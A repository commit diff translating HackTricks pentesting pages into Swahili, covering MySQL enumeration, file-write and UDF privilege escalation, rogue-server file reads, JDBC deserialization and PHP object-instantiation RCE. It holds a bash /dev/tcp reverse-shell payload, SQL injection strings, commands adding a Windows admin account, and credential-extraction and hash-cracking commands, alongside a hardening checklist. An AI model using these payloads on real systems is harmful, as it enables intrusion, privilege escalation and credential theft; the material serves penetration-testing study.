maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/pentesting-web/content-security-policy-csp-bypass/R

Browse Source
This commit is contained in:
Translator 2025-09-03 19:15:31 +00:00
parent a2560b10d7
commit 0144dcc434
6 changed files with 634 additions and 595 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

169
src/network-services-pentesting/pentesting-mysql.md
View File

@ -2,17 +2,17 @@
{{#include ../banners/hacktricks-training.md}}
## **Taarifa za Msingi**
## **Maelezo ya Msingi**
**MySQL** inaweza kueleweka kama mfumo wa usimamizi wa hifadhidata wa uhusiano wa chanzo wazi (RDBMS) ambao upatikana bure. Inafanya kazi kwenye **Lugha ya Maswali Iliyoandikwa (SQL)**, ikiruhusu usimamizi na uendeshaji wa hifadhidata.
**MySQL** inaweza kuelezewa kama mfumo wa usimamizi wa hifadhidata za mahusiano (Relational Database Management System - RDBMS) wa chanzo wazi unaopatikana bila gharama. Inatumia **Structured Query Language (SQL)**, ikiruhusu usimamizi na urekebishaji wa hifadhidata.
**Bandari ya Kawaida:** 3306
**Bandari ya chaguo-msingi:** 3306
```
3306/tcp open mysql
```
## **Connect**
## **Unganisha**
### **Local**
### **Lokali**
```bash
mysql -u root # Connect to root without password
mysql -u root -p # A password will be asked (check someone)
@ -24,7 +24,7 @@ mysql -h <Hostname> -u root@localhost
```
## External Enumeration
Baadhi ya hatua za kuhesabu zinahitaji akreditif halali
Baadhi ya vitendo za enumeration zinahitaji credentials halali
```bash
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
msf> use auxiliary/scanner/mysql/mysql_version
@ -36,7 +36,7 @@ msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
```
### [**Brute force**](../generic-hacking/brute-force.md#mysql)
### Andika data yoyote ya binary
### Andika data yoyote ya binari
```bash
CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
@ -78,7 +78,7 @@ quit;
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
mysql -u root -h 127.0.0.1 -e 'show databases;'
```
### Uainishaji wa Ruhusa za MySQL
### Uorodheshaji wa Ruhusa za MySQL
```sql
#Mysql
SHOW GRANTS [FOR user];
@ -101,7 +101,7 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
#@ Functions not from sys. db
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';
```
You can see in the docs the meaning of each privilege: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute)
Unaweza kuona katika nyaraka maana ya kila ruhusa: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute)
### MySQL File RCE
@ -110,47 +110,44 @@ You can see in the docs the meaning of each privilege: [https://dev.mysql.com/do
../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md
{{#endref}}
#### INTO OUTFILE → Python `.pth` RCE (mifumo maalum ya usanidi)
#### INTO OUTFILE → Python `.pth` RCE (mabano ya usanidi maalum kwa tovuti)
Kwa kutumia primitive ya jadi `INTO OUTFILE`, inawezekana kupata *utendaji wa msimbo wa kiholela* kwenye malengo ambayo baadaye yanatekeleza **Python** scripts.
Kwa kutumia vibaya primitive ya jadi `INTO OUTFILE` inawezekana kupata *arbitrary code execution* kwenye vichwa vinavyotekelezwa baadaye na scripts za **Python**.
1. Tumia `INTO OUTFILE` kuacha faili maalum **`.pth`** ndani ya saraka yoyote inayopakuliwa kiotomatiki na `site.py` (mfano `.../lib/python3.10/site-packages/`).
2. Faili ya `.pth` inaweza kuwa na *mstari mmoja* unaoanza na `import ` ikifuatiwa na msimbo wa Python wa kiholela ambao utaanzishwa kila wakati mfasiri anapoanza.
3. Wakati mfasiri anatekelezwa kwa njia isiyo ya moja kwa moja na script ya CGI (kwa mfano `/cgi-bin/ml-draw.py` yenye shebang `#!/bin/python`), mzigo unatekelezwa kwa ruhusa sawa na mchakato wa seva ya wavuti (FortiWeb ilikimbia kama **root** → RCE kamili kabla ya uthibitishaji).
1. Tumia `INTO OUTFILE` kuweka faili maalum **`.pth`** ndani ya direktori yoyote inayopakuliwa kiotomatiki na `site.py` (mfano `.../lib/python3.10/site-packages/`).
2. Faili ya `.pth` inaweza kuwa na *mstari mmoja* unaoanza na `import ` ukifuatiwa na arbitrary Python code ambao utaendeshwa kila wakati mtafsiri anapoanza.
3. Wakati mtafsiri anapoendeshwa kwa njia isiyo ya moja kwa moja na CGI script (kwa mfano `/cgi-bin/ml-draw.py` yenye shebang `#!/bin/python`) payload inatekelezwa kwa ruhusa sawa na mchakato wa web-server (FortiWeb uliuendesha kama **root** → full pre-auth RCE).
Mfano wa mzigo wa `.pth` (mstari mmoja, hakuna nafasi zinazoweza kujumuishwa katika mzigo wa mwisho wa SQL, hivyo hex/`UNHEX()` au kuunganisha nyuzi kunaweza kuhitajika):
Example `.pth` payload (single line, no spaces can be included in the final SQL payload, so hex/`UNHEX()` or string concatenation may be required):
```python
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
```
Mfano wa kuunda faili kupitia **UNION** query (herufi za nafasi zimebadilishwa na `/**/` ili kupita kipitisha cha `sscanf("%128s")` cha nafasi na kuweka jumla ya urefu ≤128 bytes):
Mfano wa kutengeneza faili kupitia query ya **UNION** (nafasi zilibadilishwa na `/**/` ili kuepuka kichujio cha nafasi cha `sscanf("%128s")` na kudumisha urefu wa jumla ≤128 bytes):
```sql
'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
```
Important limitations & bypasses:
Mapungufu muhimu na njia za kuyapita:
* `INTO OUTFILE` **haiwezi kufuta** faili zilizopo; chagua jina jipya la faili.
* Njia ya faili inatatuliwa **kuhusiana na CWD ya MySQL**, hivyo kuongeza `../../` husaidia kupunguza njia na kupita vizuizi vya njia kamili.
* Ikiwa ingizo la mshambuliaji linachukuliwa na `%128s` (au sawa) nafasi yoyote itakata payload; tumia mfuatano wa maoni ya MySQL `/**/` au `/*!*/` kubadilisha nafasi.
* Mtumiaji wa MySQL anayekimbia ombi anahitaji ruhusa ya `FILE`, lakini katika vifaa vingi (mfano, FortiWeb) huduma inakimbia kama **root**, ikitoa ufikiaji wa kuandika karibu kila mahali.
* `INTO OUTFILE` **haiwezi kuandika tena** mafaili yaliyopo; chagua jina jipya la faili.
* Njia ya faili inatatuliwa **kuhusiana na CWD ya MySQL**, hivyo kuwekeza kwa `../../` mwanzoni kunasaidia kufupisha njia na kupita vikwazo vya njia kamili.
* Ikiwa ingizo la mshambuliaji linachukuliwa kwa `%128s` (au kama hiyo) nafasi yoyote itakata payload; tumia mfululizo wa maoni wa MySQL `/**/` au `/*!*/` kubadilisha nafasi.
* Mtumiaji wa MySQL anayeendesha query anahitaji idhini ya `FILE`, lakini katika vifaa vingi (m.f. FortiWeb) huduma inaendesha kama **root**, ikitoa ufikiaji wa kuandika karibu kila mahali.
Baada ya kuacha `.pth`, omba tu CGI yoyote inayoshughulikiwa na mfasiri wa python ili kupata utekelezaji wa msimbo:
Baada ya kuangusha `.pth`, omba tu CGI yoyote inayoshughulikiwa na python interpreter ili kupata code execution:
```
GET /cgi-bin/ml-draw.py HTTP/1.1
Host: <target>
```
Mchakato wa Python utaingiza `.pth` yenye uharibifu kiotomatiki na kutekeleza mzigo wa shell.
Mchakato wa Python uta-import `.pth` yenye madhara kiotomatiki na utekeleze shell payload.
```
# Attacker
$ nc -lvnp 4444
id
uid=0(root) gid=0(root) groups=0(root)
```
---
## MySQL arbitrary read file by client
## MySQL kusoma faili kwa hiari na mteja
Kwa kweli, unapojaribu **kuchukua data za ndani kwenye jedwali** yaliyomo kwenye **faili**, seva ya MySQL au MariaDB inamwomba **mteja aisome** na kutuma yaliyomo. **Basi, ikiwa unaweza kubadilisha mteja wa mysql kuungana na seva yako ya MySQL, unaweza kusoma faili za hiari.**\
Tafadhali zingatia kwamba hii ni tabia inayotumika:
Kwa kweli, unapojaribu **load data local into a table** ili kupata **content of a file**, MySQL au MariaDB server humuuliza **client to read it** na kutuma maudhui. **Kisha, ikiwa unaweza kubadilisha mysql client ili kuungana na MySQL server yako mwenyewe, unaweza kusoma arbitrary files.**\ Tafadhali kumbuka kwamba hili ndilo tabia linapotumika kutumia:
```bash
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
```
@ -161,8 +158,8 @@ mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
```
**Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
**Katika karatasi hii unaweza kuona maelezo kamili ya shambulio na hata jinsi ya kulipanua hadi RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
**PoC ya Awali:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
**Kwenye karatasi hii unaweza kuona maelezo kamili ya shambulio na hata jinsi ya kuiendeleza hadi RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
**Hapa unaweza kupata muhtasari wa shambulio:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
​
@ -171,23 +168,23 @@ ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti
## POST
### Mysql User
### Mtumiaji wa Mysql
Itakuwa ya kuvutia sana ikiwa mysql inafanya kazi kama **root**:
Itakuwa ya kuvutia sana ikiwa mysql inaendeshwa kama **root**:
```bash
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
```
#### Dangerous Settings of mysqld.cnf
#### Mipangilio Hatari ya mysqld.cnf
In the configuration of MySQL services, various settings are employed to define its operation and security measures:
Katika usanidi wa huduma za MySQL, mipangilio mbalimbali hutumika kubainisha uendeshaji wake na hatua za usalama:
- The **`user`** setting is utilized for designating the user under which the MySQL service will be executed.
- **`password`** is applied for establishing the password associated with the MySQL user.
- **`admin_address`** specifies the IP address that listens for TCP/IP connections on the administrative network interface.
- The **`debug`** variable is indicative of the present debugging configurations, including sensitive information within logs.
- **`sql_warnings`** manages whether information strings are generated for single-row INSERT statements when warnings emerge, containing sensitive data within logs.
- With **`secure_file_priv`**, the scope of data import and export operations is constrained to enhance security.
- Mipangilio ya **`user`** inatumika kuonyesha mtumiaji chini ya ambaye huduma ya MySQL itaendeshwa.
- **`password`** inatumiwa kuweka nywila inayohusiana na mtumiaji wa MySQL.
- **`admin_address`** inaonyesha anwani ya IP inayosikiliza muunganisho wa TCP/IP kwenye kiolesura cha mtandao cha usimamizi.
- Kigezo cha **`debug`** kinaonyesha mipangilio ya sasa ya debugging, pamoja na taarifa nyeti ndani ya logs.
- **`sql_warnings`** inasimamia kama mistari ya taarifa itatengenezwa kwa statement za INSERT za mstari mmoja wakati warnings zinapotokea, ikiwa na data nyeti ndani ya logs.
- Kwa **`secure_file_priv`**, wigo wa shughuli za kuingiza na kusafirisha data umewekwa mipaka ili kuongeza usalama.
### Privilege escalation
```bash
@ -209,16 +206,16 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
```
### Privilege Escalation via library
Ikiwa **mysql server inafanya kazi kama root** (au mtumiaji mwingine mwenye mamlaka zaidi) unaweza kuifanya itekeleze amri. Kwa hiyo, unahitaji kutumia **user defined functions**. Na ili kuunda user defined unahitaji **library** kwa ajili ya OS inayofanya kazi mysql.
Ikiwa **mysql server inafanya kazi kama root** (au mtumiaji mwingine mwenye ruhusa zaidi) unaweza kuifanya itekeleze amri. Kwa hivyo, unahitaji kutumia **user defined functions**. Na ili kuunda user defined function utahitaji **maktaba** kwa ajili ya OS inayotumika na mysql.
Library mbaya ya kutumia inaweza kupatikana ndani ya sqlmap na ndani ya metasploit kwa kufanya **`locate "*lib_mysqludf_sys*"`**. Faili za **`.so`** ni **linux** libraries na **`.dll`** ni za **Windows**, chagua ile unayohitaji.
Maktaba haribifu inayotumika inaweza kupatikana ndani ya sqlmap na metasploit kwa kufanya **`locate "*lib_mysqludf_sys*"`**. Faile za **`.so`** ni maktaba za **linux** na za **`.dll`** ni za **Windows**; chagua ile unayohitaji.
Ikiwa **huna** hizo libraries, unaweza ama **kutafuta** au kupakua hii [**linux C code**](https://www.exploit-db.com/exploits/1518) na **kuikamilisha ndani ya mashine ya linux yenye udhaifu**:
Ikiwa **huna** maktaba hizo, unaweza ama **kuzikatafuta**, au pakua hii [**linux C code**](https://www.exploit-db.com/exploits/1518) na **compile ndani ya mashine ya linux iliyo dhaifu**:
```bash
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
```
Sasa kwamba una maktaba, ingia ndani ya Mysql kama mtumiaji mwenye mamlaka (root?) na ufuate hatua zifuatazo:
Sasa baada ya kuwa na maktaba, ingia ndani ya Mysql kama mtumiaji mwenye vibali (root?) na fuata hatua zifuatazo:
#### Linux
```sql
@ -252,29 +249,38 @@ CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");
```
### Extracting MySQL credentials from files
#### Windows tip: create directories with NTFS ADS from SQL
Inside _/etc/mysql/debian.cnf_ you can find the **nywasi wa maandiko** of the user **debian-sys-maint**
Kwenye NTFS unaweza kulazimisha uundaji wa saraka kwa kutumia alternate data stream hata wakati kuna tu primitive ya kuandika faili. Ikiwa classic UDF chain inatarajia saraka ya `plugin` lakini haipo na `@@plugin_dir` haijulikani au imefungwa, unaweza kuunda kwanza kwa kutumia `::$INDEX_ALLOCATION`:
```sql
SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
-- After this, `C:\\MySQL\\lib\\plugin` exists as a directory
```
Hii inabadilisha `SELECT ... INTO OUTFILE` iliyo na vikwazo kuwa primitive kamili zaidi kwenye Windows stacks kwa kuanzisha muundo wa folda unaohitajika kwa UDF drops.
### Kutoa MySQL credentials kutoka kwa mafayela
Ndani ya _/etc/mysql/debian.cnf_ unaweza kupata **plain-text password** ya mtumiaji **debian-sys-maint**
```bash
cat /etc/mysql/debian.cnf
```
Unaweza **kutumia hizi sifa kuingia kwenye hifadhidata ya mysql**.
Unaweza **kutumia vithibitisho hivi kuingia kwenye database ya mysql**.
Ndani ya faili: _/var/lib/mysql/mysql/user.MYD_ unaweza kupata **hash zote za watumiaji wa MySQL** (wale ambao unaweza kutoa kutoka mysql.user ndani ya hifadhidata)_._
Inside the file: _/var/lib/mysql/mysql/user.MYD_ you can find **hash zote za watumiaji wa MySQL** (ile ambazo unaweza kuzitoa kutoka mysql.user inside the database)_._
Unaweza kuzitoa kwa kufanya:
```bash
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
```
### Kuanzisha uandishi wa kumbukumbu
### Kuwezesha kurekodi
Unaweza kuanzisha uandishi wa kumbukumbu wa maswali ya mysql ndani ya `/etc/mysql/my.cnf` kwa kufungua mistari ifuatayo:
Unaweza kuwezesha kurekodi maulizo ya mysql ndani ya `/etc/mysql/my.cnf` kwa kuondoa maoni (uncomment) kwenye mistari ifuatayo:
![](<../images/image (899).png>)
### Faili muhimu
Faili za Usanidi
Faili za konfigurasi
- windows \*
- config.ini
@ -289,14 +295,14 @@ Faili za Usanidi
- /var/lib/mysql/my.cnf
- \~/.my.cnf
- /etc/my.cnf
- Historia ya Amri
- Historia ya amri
- \~/.mysql.history
- Faili za Kumbukumbu
- Faili za logi
- connections.log
- update.log
- common.log
## Hifadhidata/Tafiti za MySQL za Kawaida
## Databasi/Meza za MySQL za Kawaida
{{#tabs}}
{{#tab name="information_schema"}}
@ -599,7 +605,7 @@ x$session\
x$statement_analysis\
x$statements\_with\_errors\_or\_warnings\
x$statements_with_full_table_scans\
x$statements\_with\_runtimes\_in\_95th\_percentile\
x$statements\_with\_runtimes\_in_95th\_percentile\
x$statements_with_sorting\
x$statements\_with\_temp\_tables\
x$user_summary\
@ -647,36 +653,36 @@ Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
```
## 2023-2025 Highlights (new)
## 2023-2025 Mambo Muhimu (mpya)
### JDBC `propertiesTransform` deserialization (CVE-2023-21971)
Kuanzia Connector/J <= 8.0.32 mshambuliaji ambaye anaweza kuathiri **JDBC URL** (kwa mfano katika programu za upande wa tatu zinazohitaji mfuatano wa muunganisho) anaweza kuomba madarasa yasiyo na mipaka kupakiwa upande wa *mteja* kupitia parameter ya `propertiesTransform`. Ikiwa gadget iliyopo kwenye njia ya darasa inaweza kupakiwa, hii inasababisha **utendaji wa msimbo wa mbali katika muktadha wa mteja wa JDBC** (kabla ya uthibitisho, kwa sababu hakuna akidi halali zinazohitajika). PoC ndogo inaonekana kama:
From Connector/J <= 8.0.32 mshambulizi ambaye anaweza kuathiri **JDBC URL** (kwa mfano katika third-party software inayouliza connection string) anaweza kuomba arbitrary classes zisonakiliwe upande wa *client* kupitia parameter ya `propertiesTransform`. Ikiwa gadget iliyopo kwenye class-path inaweza kupakiwa hili litatokea kama **remote code execution in the context of the JDBC client** (pre-auth, kwa sababu hakuna valid credentials zinazohitajika). A minimal PoC looks like:
```java
jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil
```
Kukimbia `Evil.class` kunaweza kuwa rahisi kama kuifanya iwe kwenye class-path ya programu iliyo hatarini au kuacha seva ya MySQL isiyo na adabu itume kitu kilichosajiliwa kwa njia mbaya. Tatizo lilitatuliwa katika Connector/J 8.0.33 – sasisha dereva au weka wazi `propertiesTransform` kwenye orodha ya ruhusa.
(Tazama andiko la Snyk kwa maelezo)
Kuendesha `Evil.class` inaweza kuwa rahisi kama kuiweka kwenye class-path ya programu iliyo hatarini au kuruhusu rogue MySQL server kutuma malicious serialized object. Tatizo lilisuluhishwa katika Connector/J 8.0.33 – sasisha driver au weka wazi `propertiesTransform` kwenye allow-list.
(Angalia Snyk write-up kwa maelezo)
### Mashambulizi ya seva ya MySQL isiyo na adabu / bandia dhidi ya wateja wa JDBC
Zana kadhaa za chanzo wazi zinafanya kazi ya *sehemu* ya itifaki ya MySQL ili kushambulia wateja wa JDBC wanaounganisha nje:
### Shambulio za Rogue / Fake MySQL server dhidi ya JDBC clients
Zana kadhaa za open-source zinautekeleza protocol ya MySQL *sehemu* ili kushambulia JDBC clients zinazounganisha kwa nje:
* **mysql-fake-server** (Java, inasaidia kusoma faili na mashambulizi ya deserialization)
* **mysql-fake-server** (Java, inaunga mkono file read na deserialization exploits)
* **rogue_mysql_server** (Python, uwezo sawa)
Njia za kawaida za shambulio:
1. Programu ya mwathirika inapo load `mysql-connector-j` na `allowLoadLocalInfile=true` au `autoDeserialize=true`.
2. Mshambuliaji anadhibiti DNS / kuingia kwa mwenyeji ili jina la mwenyeji wa DB liweze kutatua kwenye mashine chini ya udhibiti wao.
3. Seva mbaya inajibu kwa pakiti zilizoundwa ambazo zinaanzisha ama `LOCAL INFILE` kusoma faili bila mpangilio au deserialization ya Java → RCE.
1. Programu ya mwathiriwa inapakia `mysql-connector-j` ikiwa na `allowLoadLocalInfile=true` au `autoDeserialize=true`.
2. Mshambuliaji anadhibiti DNS / host entry ili hostname ya DB iendelee kutambulika na mashine inayodhibitiwa na yeye.
3. Server ya hatari inajibu kwa packets zilizotengenezwa ambazo zinasababisha ama `LOCAL INFILE` kusoma faili kiholela au Java deserialization → RCE.
Mfano wa mstari mmoja kuanzisha seva bandia (Java):
Mfano wa one-liner kuanzisha fake server (Java):
```bash
java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server
```
Kisha elekeza programu ya mwathirika kwa `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` na usome `/etc/passwd` kwa kuandika jina la faili kama base64 katika uwanja wa *username* (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`).
Kisha elekeza programu ya mwathirika kwa `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` na usome `/etc/passwd` kwa ku-encode jina la faili kwa base64 katika sehemu ya *username* (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`).
### Kufungua `caching_sha2_password` hashes
MySQL ≥ 8.0 huhifadhi hash za nywila kama **`$mysql-sha2$`** (SHA-256). Hashcat (mode **21100**) na John-the-Ripper (`--format=mysql-sha2`) zinasaidia kufungua kwa mbali tangu 2023. Dump column ya `authentication_string` na uiingize moja kwa moja:
### Cracking `caching_sha2_password` hashes
MySQL ≥ 8.0 inahifadhi hash za password kama **`$mysql-sha2$`** (SHA-256). Hashcat (mode **21100**) na John-the-Ripper (`--format=mysql-sha2`) zote zinaunga mkono offline cracking tangu 2023. Fanya dump ya safu ya `authentication_string` na uipe moja kwa moja:
```bash
# extract hashes
echo "$mysql-sha2$AABBCC…" > hashes.txt
@ -685,20 +691,23 @@ hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist
# John the Ripper
john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
```
### Orodha ya kuimarisha (2025)
• Weka **`LOCAL_INFILE=0`** na **`--secure-file-priv=/var/empty`** kuua sehemu nyingi za kusoma/kandika faili.
• Ondoa ruhusa ya **`FILE`** kutoka kwa akaunti za programu.
• Kwenye Connector/J weka `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (bila kitu).
• Zima nyongeza zisizotumika za uthibitishaji na **hitaji TLS** (`require_secure_transport = ON`).
• Fuata kwa `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` na matamko ya ghafla ya `SET GLOBAL`.
### Orodha ya ukaguzi wa kuimarisha (2025)
• Weka `LOCAL_INFILE=0` na `--secure-file-priv=/var/empty` ili kuzima sehemu nyingi za kusoma/kuandika faili.
• Ondoa ruhusa ya `FILE` kutoka kwa akaunti za programu.
• Kwa Connector/J weka `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (tupu).
• Zima plugins za uthibitishaji zisizotumika na **lazimisha TLS** (`require_secure_transport = ON`).
• Fuatilia `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` na tamko za ghafla za `SET GLOBAL`.
---
## Marejeleo
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
- [Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540)
- [mysql-fake-server – Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server)
## Marejeo
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
- [Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540)
- [mysql-fake-server – Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server)
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
{{#include ../banners/hacktricks-training.md}}

70
src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md
View File

@ -1,4 +1,4 @@
# PHP - RCE abusing object creation: new $\_GET\["a"]\($\_GET\["b"])
# PHP - RCE kutumia uundaji wa object: new $_GET["a"]($_GET["b"])
{{#include ../../../banners/hacktricks-training.md}}
@ -6,13 +6,13 @@ Hii ni muhtasari wa [https://swarm.ptsecurity.com/exploiting-arbitrary-object-in
## Utangulizi
Uundaji wa vitu vipya vya kiholela, kama `new $_GET["a"]($_GET["a"])`, unaweza kusababisha Utekelezaji wa Msimbo wa K remote (RCE), kama ilivyoelezwa katika [**andika**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Hati hii inasisitiza mikakati mbalimbali za kufikia RCE.
Uundaji wa objects mpya za kiholela, kama `new $_GET["a"]($_GET["a"])`, unaweza kusababisha Remote Code Execution (RCE), kama ilivyoelezwa katika [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Nyaraka hii inaangazia mikakati mbalimbali ya kupata RCE.
## RCE kupitia Madarasa ya Kawaida au Autoloading
## RCE kupitia Madarasa Maalum au Autoloading
Sintaksia `new $a($b)` inatumika kuunda kitu ambapo **`$a`** inawakilisha jina la darasa na **`$b`** ni hoja ya kwanza inayopitishwa kwa mjenzi. Vigezo hivi vinaweza kupatikana kutoka kwa ingizo la mtumiaji kama GET/POST, ambapo vinaweza kuwa nyuzi au orodha, au kutoka JSON, ambapo vinaweza kuonekana kama aina nyingine.
Sintaksia `new $a($b)` inatumika kuunda object ambapo **`$a`** inawakilisha jina la class na **`$b`** ni hoja ya kwanza inayotumwa kwa constructor. Vigezo hivi vinaweza kupatikana kutoka kwa input za watumiaji kama GET/POST, ambapo vinaweza kuwa strings au arrays, au kutoka JSON, ambapo vinaweza kuonekana kama aina nyingine.
Fikiria kipande cha msimbo kilichopo hapa chini:
Consider the code snippet below:
```php
class App {
function __construct ($cmd) {
@ -31,9 +31,9 @@ $b = $_GET['b'];
new $a($b);
```
Katika hali hii, kuweka `$a` kuwa `App` au `App2` na `$b` kuwa amri ya mfumo (kwa mfano, `uname -a`) kunasababisha utekelezaji wa amri hiyo.
Katika mfano huu, kuweka `$a` kwa `App` au `App2` na `$b` kwa amri ya mfumo (kwa mfano, `uname -a`) husababisha utekelezaji wa amri hiyo.
**Mifumo ya Autoloading** inaweza kutumika vibaya ikiwa hakuna madarasa kama hayo yanayopatikana moja kwa moja. Mifumo hii inasababisha madarasa kupakuliwa moja kwa moja kutoka kwa faili inapohitajika na inafafanuliwa kwa kutumia `spl_autoload_register` au `__autoload`:
**Autoloading functions** zinaweza kutumiwa ikiwa madarasa hayo hayapatikani moja kwa moja. Hizi functions zinapakia madarasa kutoka kwa faili kiotomatiki wakati yanapohitajika na zimetangazwa kwa kutumia `spl_autoload_register` au `__autoload`:
```php
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
@ -45,52 +45,76 @@ include $class_name . '.php';
spl_autoload_register();
```
Tabia ya autoloading inatofautiana kulingana na toleo la PHP, ikitoa uwezekano tofauti wa RCE.
Tabia ya autoloading inatofautiana kulingana na matoleo ya PHP, ikitoa fursa tofauti za RCE.
## RCE kupitia Madarasa ya Msingi
## RCE via Built-In Classes
Kukosa madarasa ya kawaida au autoloaders, **madarasa ya msingi ya PHP** yanaweza kutosha kwa RCE. Idadi ya madarasa haya inatofautiana kati ya 100 hadi 200, kulingana na toleo la PHP na nyongeza. Inaweza kuorodheshwa kwa kutumia `get_declared_classes()`.
Iwapo hakuna custom classes au autoloaders, **madarasa ya ndani ya PHP** yanaweza kutosha kwa RCE. Idadi ya madarasa haya iko kati ya 100 hadi 200, kulingana na toleo la PHP na extensions. Yanaweza kuorodheshwa kwa kutumia `get_declared_classes()`.
Mifano ya wakandarasi wanaovutia inaweza kutambuliwa kupitia API ya reflection, kama inavyoonyeshwa katika mfano ufuatao na kiungo [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF).
Constructors zinazovutia zinaweza kutambuliwa kupitia reflection API, kama inavyoonyeshwa katika mfano ufuatao na kiungo [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF).
**RCE kupitia mbinu maalum inajumuisha:**
**RCE via specific methods includes:**
### **SSRF + Phar Deserialization**
